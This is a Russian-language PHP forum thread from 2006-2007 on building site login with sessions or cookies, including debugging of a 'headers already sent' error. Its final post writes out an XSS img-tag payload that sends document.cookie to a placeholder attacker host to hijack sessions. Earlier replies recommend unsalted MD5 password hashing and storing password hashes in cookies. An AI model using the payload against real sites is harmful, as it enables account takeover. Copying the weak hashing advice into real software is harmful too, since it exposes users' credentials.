Перейти к содержимому

Фото
- - - - -

как сделать регистрацию на сайте?


  • Вы не можете создать новую тему
  • Please log in to reply
38 ответов в этой теме

#1 OzzY

OzzY

    Великий и Ужасный

  • Пользователь
  • 461 сообщений

Отправлено 07 декабря 2006 - 13:54

Как сделать, чтобы сначала можно было региться (это, вообщем, понятно, в оно поле записываю логин, в лругое пароль, и при входе сверяю их). Но как я понял самое сложное, и без чего нельзя, это сэссии? Можно ли об это поподробнее? Это тоже какое-то поле в таблицы? какого типа? что в нем хранить? Как сделать, чтобы страница не была доступна, без входа через логин+пароль?
  • 0

#2 Акей

Акей

    Смотрит свысока

  • Постоялец
  • 2 134 сообщений

Отправлено 07 декабря 2006 - 14:02

http://www.google.co...amp;btnG=Search
  • 0

#3 YTPO`

YTPO`

    Dancing Banana

  • Постоялец
  • 1 849 сообщений
  • Откуда:дровишки?

Отправлено 07 декабря 2006 - 14:07

OzzY,

можно без сессии.
записываешь печенку в браузер с логином и хэшем пароля, потом просто считываешь на каждой странице.
правда, способ не самый надежный.
  • 0
"It's even more important than reading the bible six times or becoming a pope"

#4 zedirtybastard

zedirtybastard
  • Пользователь
  • 499 сообщений

Отправлено 07 декабря 2006 - 15:39

правда, способ не самый надежный.

Зато более быстрый, чем хранение данных сессии на сервере.

На небольшом сайте вполне можно использовать cессии

Для совсем индивидуальных проектов даже лучше использовать Apache authorization.


Поясню вкратце суть сессий, в cookied запиcывается id сессии, сами же данные храняться на сервере( логин, пароль) в базе или в файле ...

Когда ты заходишь на сайт, то из cookies считывается id сессии и по нему уже получаются данные из источника.

Сообщение изменено: zedirtybastard (07 декабря 2006 - 15:41 )

  • 0

#5 Vladson

Vladson

    XTGamers.com

  • Постоялец
  • 1 921 сообщений
  • Откуда:Эстония, Таллинн

Отправлено 07 декабря 2006 - 15:48

записываешь печенку в браузер с логином и хэшем пароля, потом просто считываешь на каждой странице.
правда, способ не самый надежный.

Способ надёжный, просто если на сайте обнаружится XSS уязвимость то ей будет присвоен не низкий уровень опасности а высокий...
  • 0
Один Владсон может за...ать всех, кроме себя самого. Два Владсона могли бы за...ать абсолютно кого угодно, но Владсон единственный и неповторимый. ©Vladson

Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih

Не вазелин, а бизнес-гель ©Avagraen

#6 BlackIce

BlackIce

    грозный Дон Пако

  • Пользователь
  • 313 сообщений
  • Откуда:Tallinn

Отправлено 07 декабря 2006 - 15:56

zedirtybastard,
Почему не самый быстрый?даже имея 1000 юзверей на сайте на скорости сервера, тем более юзера это не будет сказываться чувствительно.
  • 0
а кули, я тоже рульный дизайнер ввв.ме2.ее

#7 Акей

Акей

    Смотрит свысока

  • Постоялец
  • 2 134 сообщений

Отправлено 07 декабря 2006 - 16:05

BlackIce, согласен, наоборот, с возрастанием количество сохраняемых данным преимущества сессий увеличиваются. Кукиши постоянно гоняются туда-сюда с запросами, а при сессиях тока идентификатор.

Сообщение изменено: Акей (07 декабря 2006 - 16:05 )

  • 0

#8 BlackIce

BlackIce

    грозный Дон Пако

  • Пользователь
  • 313 сообщений
  • Откуда:Tallinn

Отправлено 07 декабря 2006 - 16:07

OzzY, в теблице 3 поля, id int(4), login VARCHAR(45), pass TEXT
для паса делай хэш через мд5 и заноси его в базу
(что-то типо такого md5($_POST['pass']) )
---
для проверки пользуйся такой же схемой, т.е. берешь из базы хэш и сравниваешь его с тем, что передал браузер (только не забудь из паса тоже сделать хэш мд5)
и если они совпадают то $_SESSION['auth']='1';
и на всех страницах ставь проверку на $_SESSION['auth']
вот и все ...
по поводу работ с базой не обьясняю, надеюсь знаешь как все работает там
  • 0
а кули, я тоже рульный дизайнер ввв.ме2.ее

#9 zedirtybastard

zedirtybastard
  • Пользователь
  • 499 сообщений

Отправлено 07 декабря 2006 - 21:20

zedirtybastard,
Почему не самый быстрый?даже имея 1000 юзверей на сайте на скорости сервера, тем более юзера это не будет сказываться чувствительно.


для 1000 юзверей не почувствуется, для 10 000 юзверей начнет слегка подтормаживать, на 100 000 вы поймете о чем я, на 1 000 000 - 100% откажетесь от сессий.

Я же написал, для 1000 юзверей это наверное лучшее решение, не требующее особых головных болей.


BlackIce, согласен, наоборот, с возрастанием количество сохраняемых данным преимущества сессий увеличиваются. Кукиши постоянно гоняются туда-сюда с запросами, а при сессиях тока идентификатор.

С сессиями если из кукисов сопрут идентификатор сессии, то зайти под определенным юзером будет несложно, с чистыми кукисами можно нахимичить вполне приемлимую систему.

А то, что кукисы гоняются туда-сюда на нагрузке никак не сказывается, они просто декодируются с хеадеров и все, никаких запросов в базу, никакого поиска сессии по идентификатору, никакой десериализации.

Я лично ничего против сессий не имею, но все-таки стараюсь использовать кукисы.

Сообщение изменено: zedirtybastard (07 декабря 2006 - 21:20 )

  • 0

#10 Vladson

Vladson

    XTGamers.com

  • Постоялец
  • 1 921 сообщений
  • Откуда:Эстония, Таллинн

Отправлено 07 декабря 2006 - 21:22

login VARCHAR(45)

Для маленьких полей кстати выгоднее просто CHAR юзать, но это так мелочи
  • 0
Один Владсон может за...ать всех, кроме себя самого. Два Владсона могли бы за...ать абсолютно кого угодно, но Владсон единственный и неповторимый. ©Vladson

Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih

Не вазелин, а бизнес-гель ©Avagraen

#11 OzzY

OzzY

    Великий и Ужасный

  • Пользователь
  • 461 сообщений

Отправлено 07 декабря 2006 - 22:43

Получилось у меня так: один раз зашел с паролем, ок...потом захожу пишет:

Warning: Cannot send session cookie - headers already sent by (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3

Warning: Cannot send session cache limiter - headers already sent (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3

Код таков:
<?PHP
session_start();
$secret ="123";	 //the password
if(!$_POST['code']){$_POST['code']="W7Qty3";}
if($_SESSION['code'] !== $_POST['code'] && $_POST['loginkey']){
	$text = $_SESSION['code']= strrand(5);
		echo "<p align=\"center\"><b style=\"color: black\">Administrator Control Panel</b><br /></p><br />\n";
			echo "<form action=\"$php_self\" method=\"post\">	<p align=\"center\">\n";
		echo "Scurity code : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style=\"background-color: #CCCCCC\">$text</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input name=\"code\" type=\"text\" size=\"5\" maxlength=\"5\"><br>\n";
		echo "Passowrd : <input name=\"secret\" type=\"password\" size=\"20\"><br>\n";
		echo "<input name=\"loginkey\" type=\"hidden\" value=\"loginkey\">\n";
		echo "<input name=\"submit\" type=\"submit\" value=\"Enter7\">\n";
		echo "</form><br><br>\n";
		exit;
}
if ($_SESSION['secret'] !== $secret) {
	if ($_POST['secret'] == $secret) {
		$_SESSION['secret'] = $secret;
	}
	else {
		$text= $_SESSION['code']= strrand(5);
		echo "<p align=\"center\"><b style=\"color: black\">Administrator Control Panel</b><br /></p><br />\n";
		echo "<form action=\"http://www.tud.ttu.ee/~t050679/rakendus/index.php\" method=\"post\">	<p align=\"center\">\n";
		echo "Scurity code : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style=\"background-color: #CCCCCC\">$text</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input name=\"code\" type=\"text\" size=\"5\" maxlength=\"5\"><br>\n";
		echo "Passowrd : <input name=\"secret\" type=\"password\" size=\"20\"><br>\n";
		echo "<input name=\"loginkey\" type=\"hidden\" value=\"loginkey\">\n";
		echo "<input name=\"submit\" type=\"submit\" value=\"Enter\">\n";
		echo "</form><br><br>\n";
		exit;
	}
}
echo " Hello world ";
function strrand($length)
{
$str = "";
while(strlen($str)<$length){
	$random=rand(48,122);
	if( ($random>47 && $random<58)  ){
		$str.=chr($random);
	}
}
return $str;
}
?>

  • 0

#12 Vladson

Vladson

    XTGamers.com

  • Постоялец
  • 1 921 сообщений
  • Откуда:Эстония, Таллинн

Отправлено 08 декабря 2006 - 03:19

headers already sent

Что из этого не понятно ?

Поставь в начало скрипта (в самое самое начало, не просто в начало а вообще в начало) ob_start() для буфферизации вывода и проблема исчезнет...

И не нужно мучать РНР скрипт HTML кодом, если уж нет желания выносить его в отдельный файл то сделай хоть так
<?php

//
//
//

if($_SESSION['code'] !== $_POST['code'] && $_POST['loginkey']){
	$text = $_SESSION['code']= strrand(5);
?><?php
	<p align="center"><b style="color: black">Administrator Control Panel</b><br /></p><br />
	<form action="<?=$php_self?>" method="post">	<p align="center">
	Scurity code : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="background-color: #CCCCCC"><?=$text?></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input name="code" type="text" size="5" maxlength="5"><br>
	Passowrd : <input name="secret" type="password" size="20"><br>
	<input name="loginkey" type="hidden" value="loginkey">
	<input name="submit" type="submit" value="Enter7">
	</form><br><br>
?><?php
	exit;
}

//
//
//
?>
(хотя лучше просто вынеси "шаблон" в отдельный файл и подключай с помощью include)
  • 0
Один Владсон может за...ать всех, кроме себя самого. Два Владсона могли бы за...ать абсолютно кого угодно, но Владсон единственный и неповторимый. ©Vladson

Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih

Не вазелин, а бизнес-гель ©Avagraen

#13 OzzY

OzzY

    Великий и Ужасный

  • Пользователь
  • 461 сообщений

Отправлено 08 декабря 2006 - 12:45

Поставь в начало скрипта (в самое самое начало, не просто в начало а вообще в начало) ob_start() для буфферизации вывода и проблема исчезнет...

а самое самое начало, это где? :rolleyes:
если
<?PHP
ob_start();
session_start();
$secret ="123";	 //the password
if(!$_POST['code']){$_POST['code']="W7Qty3";}

то не помогло :( Или мне надо на самой главной странице?) потому что этит скрипт подключается?
  • 0

#14 BlackIce

BlackIce

    грозный Дон Пако

  • Пользователь
  • 313 сообщений
  • Откуда:Tallinn

Отправлено 08 декабря 2006 - 13:34

<?
session_start();
$information="<HTML CODE HERE>";
?>
<html>
<head>
<body . i t.d.
<?=$information;?>
</body>
</html>
Сделай такого плана код, и проблемы не будет, там проблема в том, что сессия передается через заголовок, а ты как я понимаю их еще ранее передал в <html><head><title>XXX</title> и т.д. ...
  • 0
а кули, я тоже рульный дизайнер ввв.ме2.ее

#15 Vladson

Vladson

    XTGamers.com

  • Постоялец
  • 1 921 сообщений
  • Откуда:Эстония, Таллинн

Отправлено 08 декабря 2006 - 13:43

Или мне надо на самой главной странице?

Я же сказал в самое начало значит в самое !!!
(слушай что BlackIce говорит, чистая правда)
  • 0
Один Владсон может за...ать всех, кроме себя самого. Два Владсона могли бы за...ать абсолютно кого угодно, но Владсон единственный и неповторимый. ©Vladson

Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih

Не вазелин, а бизнес-гель ©Avagraen

#16 OzzY

OzzY

    Великий и Ужасный

  • Пользователь
  • 461 сообщений

Отправлено 12 декабря 2006 - 14:27

Поставь в начало скрипта (в самое самое начало, не просто в начало а вообще в начало) ob_start() для буфферизации вывода и проблема исчезнет...
[/code]

:blink: Проблемма не исчезла ;)
  • 0

#17 .NET

.NET
  • Постоялец
  • 3 511 сообщений

Отправлено 12 декабря 2006 - 15:03

ob_start(); -> flush();
  • 0

#18 Vladson

Vladson

    XTGamers.com

  • Постоялец
  • 1 921 сообщений
  • Откуда:Эстония, Таллинн

Отправлено 12 декабря 2006 - 19:53

OzzY, значит это не самое начало скрипта :) (сколько раз одно и тоже повторять "В САМОЕ НАЧАЛО, ДО ТОГО КАК БУДЕТ ЛЮБОЙ ВЫВОД В БРАУЗЕР")
  • 0
Один Владсон может за...ать всех, кроме себя самого. Два Владсона могли бы за...ать абсолютно кого угодно, но Владсон единственный и неповторимый. ©Vladson

Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih

Не вазелин, а бизнес-гель ©Avagraen

#19 OzzY

OzzY

    Великий и Ужасный

  • Пользователь
  • 461 сообщений

Отправлено 12 декабря 2006 - 22:44

все, вроде заработало, просто почему-то не сразу))
  • 0

#20 Setor

Setor
  • Постоялец
  • 1 890 сообщений
  • Откуда:Эстония, Таллин

Отправлено 05 января 2007 - 19:50

Warning: Cannot send session cookie - headers already sent by (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3

Warning: Cannot send session cache limiter - headers already sent (output started at /home/t050679/public_html/index.php:78) in /home/t050679/public_html/kymnes.php on line 3


У тебя перед <?php был(и) пробелы!

для 1000 юзверей не почувствуется, для 10 000 юзверей начнет слегка подтормаживать, на 100 000 вы поймете о чем я, на 1 000 000 - 100% откажетесь от сессий

У этого человека и 10 юзеров не будет :) От сессий на миллионе не откажешься, поверь :) Ты без них просто не обойдёшься. Надо представлять себе как работает механизм сессий.

можно без сессии.
записываешь печенку в браузер с логином и хэшем пароля, потом просто считываешь на каждой странице.
правда, способ не самый надежный

> Зато более быстрый, чем хранение данных сессии на сервере

Наоборот очень геморный и небезопасный и более тормозной, т.к. надо проверить юзера, его пароль, а в сессии могут ещё храниться к-либо переменные их бы ты тоже каждый раз брал их БД или кук... а куки ненадёжные
  • 0

#21 zedirtybastard

zedirtybastard
  • Пользователь
  • 499 сообщений

Отправлено 06 января 2007 - 12:07

Ну у тебя свое мнение :)
Я представляю отлично, как реализован механизм сессии, по крайней мере в Perl и у меня свое мнение на этот счет :)
Хотя соглашусь - писать используя сессии проще.
  • 0

#22 Setor

Setor
  • Постоялец
  • 1 890 сообщений
  • Откуда:Эстония, Таллин

Отправлено 06 января 2007 - 12:27

Я представляю отлично, как реализован механизм сессии, по крайней мере в Perl и у меня свое мнение на этот счет

Я тебе охотно верю, просто ты можешь своими словами ввести в заблуждение других. О производительности того или иного механизма нужно задумываться только тогда, когда реально приложение начнёт тормозить и ты уже будешь искать слабые места и что-то предпринимать. Сессии - это такие мелочи, даже не надо думать о их производительности. К примеру, скажу, что чтение файла из скрипта будет в несколько раз медленнее, чем извлечение этих данных из БД по проиндексированному столбцу. Это не говорит о том, что всё надо класть в базу, просто сервер БД имеет отличное кеширование и оптимизацию. Так что не надо гоняться за каждой микросекундой, лучше потратить это время на расширение функциональности ;)
  • 0

#23 zedirtybastard

zedirtybastard
  • Пользователь
  • 499 сообщений

Отправлено 06 января 2007 - 15:53

В принципе ты прав, но на серьезных больших проектах нельзя изначально применять неверный подход. Для этого и существуют Системные Архитекторы :)
И файлы из скрипты не читает никто :) Это самый неоптимизированный способ извлечения данных.

А на отличную кеширование и оптимизацию расчитывать тоже не стоит, MySQL например очень вредный бывает в таких вопросах.
Хотя это уже все из другой оперы.

Мой вердик такой: делайте как хотите, лишь бы работало :)
  • 0

#24 Vladson

Vladson

    XTGamers.com

  • Постоялец
  • 1 921 сообщений
  • Откуда:Эстония, Таллинн

Отправлено 06 января 2007 - 22:52

Cессии - это такие мелочи, даже не надо думать о их производительности.

Полностью поддерживаю...

Человек пишущий сайт с большой посещаемостью (чтоб быстродействие сессий было ощутимо) не будет спрашивать на форуме "как сделать регистрацию".

Что касается случаев когда даже такие мелочи играют роль то это не те случаи как этот...

Сообщение изменено: Vladson (06 января 2007 - 22:53 )

  • 0
Один Владсон может за...ать всех, кроме себя самого. Два Владсона могли бы за...ать абсолютно кого угодно, но Владсон единственный и неповторимый. ©Vladson

Вы либо способны перелопатить тонны информации и отсеять лишнее, либо программистом не будете. ©Psih

Не вазелин, а бизнес-гель ©Avagraen

#25 Акей

Акей

    Смотрит свысока

  • Постоялец
  • 2 134 сообщений

Отправлено 06 января 2007 - 23:23

Я вообще не вижу альтернативы сессиям, при любой посещаемости. Что, например Hotmail не использует сессии? YouTube?
Куки ограничены по размеру, их содержание легко подделать. Если используешь сессии, то можно быть увереным, что там то, что ты туда положил, а не какая-нить SQL инъекция.
  • 0

#26 .NET

.NET
  • Постоялец
  • 3 511 сообщений

Отправлено 06 января 2007 - 23:40

Акей, сессии воруются.
  • 0

#27 zedirtybastard

zedirtybastard
  • Пользователь
  • 499 сообщений

Отправлено 06 января 2007 - 23:40

На самом то деле, все равно все сводится к одному :))
Сессии - это просто готовый механизм, а используя кукисы ты просто повторяешь этот механизм самостоятельно. Другое дело, что если ты действительо пониаешь, что делаешь, можно сделать быстрее и надежнее, чем это реализовано по дефолту.
Например, можно некоторые данные хранить в памяти, сделать более жесткими алгоритмы авторизации по идентификатору сессии и прочее по необходимости.

Я, например, всегда привзяываю свои собственные сессии к REMOTE_ADDR и HTTP_X_FORWARDED_FOR и запрещаю одновременные сессии с разных IP адресов. В родном механизме по-моему это не реализовать или если и реализовать, то не так просто.

Сообщение изменено: zedirtybastard (06 января 2007 - 23:43 )

  • 0

#28 Акей

Акей

    Смотрит свысока

  • Постоялец
  • 2 134 сообщений

Отправлено 07 января 2007 - 00:05

PhysiX, да, самому приходилось B) Но если привайзывать к IP, то обмануть их практически невозможно. Но тока разве чето если 1 IP на сеть (NAT)
zedirtybastard, да, я тоже проверяю ИП, а все ID сессии храню в базе и инвалидацию провожу вручную. но это уже потом.

Кстати о HTTP_X_FORWARDED_FOR. С помощью этой переменной был когдато (не мною) сломан чат маил.ру.

Там умные программеры для админов предусмотрели просмотр этой переменной:) Типа юзеры используют прокси, надо бы их реальный ИП узнать. Но не тут то было. Эту переменную легко подделать и им тут же впарили XSS, тыряший административную сессию :lol:

Сообщение изменено: Акей (07 января 2007 - 00:07 )

  • 0

#29 Setor

Setor
  • Постоялец
  • 1 890 сообщений
  • Откуда:Эстония, Таллин

Отправлено 07 января 2007 - 09:44

Акей, сессии воруются.

В дополнение к вышесказанному отмечу, что сессия живёт определённое кол-во времени. Ты подумай, кто реально может украсть твой идентификатор? Сосед по "хабу" или админ твоей сети или тот, кто находится где-то между тобой и веб-сайтом. Глупости! Единственный наиболее реальный вариант - украдут куки с твоего компа каким-нить трояном, но ты подумай, если бы в куках лежал твой логин и пусть даже зашифрованный пароль, то любой человек, имеющий их смог бы под тобой авторизоваться :) А ид сессии сегодня один, завтра другой...

В PHP есть замечательная возможность переопределять стандартный механизм работы сессий. Например, на крупных проектах я бы использовал и использую БД для хранения сессий. У меня на одном проекте в данный момент активных 30 000 сессий на 7 мегабайт. А если бы я использовал стандартный механизм на файлах... Для очень крутых проектов можно было использовать memcache!

Там умные программеры для админов предусмотрели просмотр этой переменной Типа юзеры используют прокси, надо бы их реальный ИП узнать. Но не тут то было. Эту переменную легко подделать и им тут же впарили XSS, тыряший административную сессию

Неплохо придумали, сколько смотрел код крупных проектов, HTTP_X_FORWARDED_FOR всегда имел приоритет над REMOTE_ADDR... А его подделать - плёвое дело. Можно предложить два варианта: 1) рассматривать HTTP_X_FORWARDED_FOR только для локальных подсетей (типа 192.168.*.*) 2) рассматривать его одновременно с REMOTE_ADDR ведь нередки случаи, когда у провайдера сотни человек сидят с одного IP и идентификация по IP становится реальной проблемой особенно во всяких голосованиях!

А по поводу сессий - я в security проверке даю пользователю выбрать, стоит ли связывать его сессию с IP или маской подсети!

Ведь у таких провайдеров, как Elion ADSL или Starman Internet после каждого реконнекта меняется IP адрес. (особенно актуально для ADSL) ну, или вспомним те же модемы, которых в Эстонии наверное считанные единицы. Если человека заставят переавторизовываться после каждого дисконнекта, он реально разозлится :) Особенно, если он на форуме катал огромный ответ и на те... всё коту под хвост)
  • 0

#30 Акей

Акей

    Смотрит свысока

  • Постоялец
  • 2 134 сообщений

Отправлено 07 января 2007 - 11:55

Единственный наиболее реальный вариант - украдут куки с твоего компа каким-нить трояном, но ты подумай, если бы в куках лежал твой логин и пусть даже зашифрованный пароль, то любой человек, имеющий их смог бы под тобой авторизоваться smile.gif А ид сессии сегодня один, завтра другой


ну зачем же трояны. XSS (Cross Site Scripting) это наше все. Если нет привязки к ИП все достаточно просто. Главное чтобы можно было запустить свой ЯваСцрипт на компе юзера. Да, данные надо проверять, но многие сервисы, как наример маил-службы или блоги разрешают некоторые ХТМЛ теги. Вопрос тока обойти фильтр. А там пишешь типа
<img src="java script:i=new Image(); i.src='http://adres.plohogo.sajta/script.php?'+document.cookie" width="0" height="0"/>
Юзер заходит, браузер пытается загрзузить картинку, посылает запрос с строкой кукоц в качестве параметров, в скрипте плохого чувака строка обрабатывается, выдирается ИД сессии, тут же генерируется запрос к нужной странице данного сайта с этим же ИД сессии и делается черное дело.
Такие пироги:)
  • 0